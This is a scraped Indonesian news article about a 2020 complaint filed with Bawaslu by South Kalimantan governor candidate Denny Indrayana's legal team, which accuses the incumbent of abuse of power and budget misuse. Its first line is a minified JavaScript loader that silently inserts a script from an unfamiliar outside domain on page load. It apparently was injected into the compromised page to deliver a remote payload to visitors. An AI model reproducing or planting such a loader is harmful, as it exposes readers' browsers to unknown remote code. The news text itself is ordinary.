(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, BANJARMASIN – Kasus dugaan pelanggaran di pemilihan gubernur (Pilgub) Kalsel kembali menggelinding. Kuasa hukum paslon nomor urut 2 Denny Indrayana-Difriadi yang diketuai pengacara kondang Bambang Widjojanto mendatangi kantor Bawaslu Kalsel di Jalan RE Martadinata No 3, Banjarmasin, pada Rabu (28/10/2020).
Kedatangan Bambang bersama Cagub Haji Denny dan tim pengacara membawa sejumlah bukti pelanggaran yang dilakukan pasangan Cagub No 1, Sahbirin Noor-Muhidin.
Dalam keterangannya, ada beberapa hal disampaikan Haji Denny panggilan Denny Indrayana terkait kedatangannya ke Bawaslu.
Pelaporan dilakukan atas dugaan pelanggaran Pasal 71 ayat (3) UU Pilkada yang mengatur larangan Gubernur menggunakan kewenangan, program, dan kegiatan yang menguntungkan atau merugikan salah satu pasangan calon.
“Yang tidak kalah penting dari pelanggaran tersebut adalah sanksi diskualifikasi atau pembatalan petahana dalam kontestasi Pilkada sebagaimana diatur dalam Pasal 71 ayat (5) UU Pilkada, ” tegasnya.
Menurut Haji Denny, laporan ini penting untuk menjaga prinsip-prinsip pemilihan kepala daerah, khususnya Pilgub Kalsel, yang jujur dan adil sebagaimana diamanatkan oleh UUD. Sebab pemilihan yang terkontaminasi kecurangan menjadikan Pilkada hanyalah pesta seremonial yang tidak punya makna.
“Pada intinya laporan pelanggaran dilakukan karena adanya tindakan penyalahgunaan kewenangan (abuse of power), penyalahgunaan anggaran (misuse of budget) dan kegiatan serta program yang menggunakan uang rakyat sehingga menyebabkan Pilkada berjalan tidak adil bagi pasangan calon lain, ” terangnya.
Calon yang diusung Gerindra, Demokrat, PPP, dan sejumlah parpol non parlemen ini mendorong agar seluruh stakeholder antara lain Bawaslu, KPU, dan seluruh elemen penyelenggara Pilkada agar bersikap profesional menanggapi laporan ini. “Kita juga mengajak seluruh elemen masyarakat untuk mengawasi jalannya laporan ini agar dapat berjalan dengan baik sesuai dengan ketentuan hukum yang berlaku. Kami menegaskan jangan sampai ada penyalahgunaan kewenangan dan penyalahgunaan anggaran yang merusak nilai-nilai penyelenggaraan Pilkada yang jujur dan adil, ” terangnya.
Terkait detail laporan dugaan pidana Pilkada yang dilaporkan, Haji Denny tidak bisa menyampaikan rincian dari laporan pengaduan atas dasar privasi dan keselamatan dari para saksi.
“Bercermin dari laporan pengaduan sebelumnya, seorang saksi yang hendak kami hadirkan menerima ancaman dan intimidasi dari pihak-pihak yang tidak bertanggung jawab, ” kata Cagub kelahiran Kotabaru ini.
Laporan ini disampaikan bertepatan dengan Hari Sumpah Pemuda, sebagai perwujudan semangat untuk menciptakan Pilkada yang jujur, adil, dan transparan untuk kemajuan Banua. (Kanalkalimantan.com/ril)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.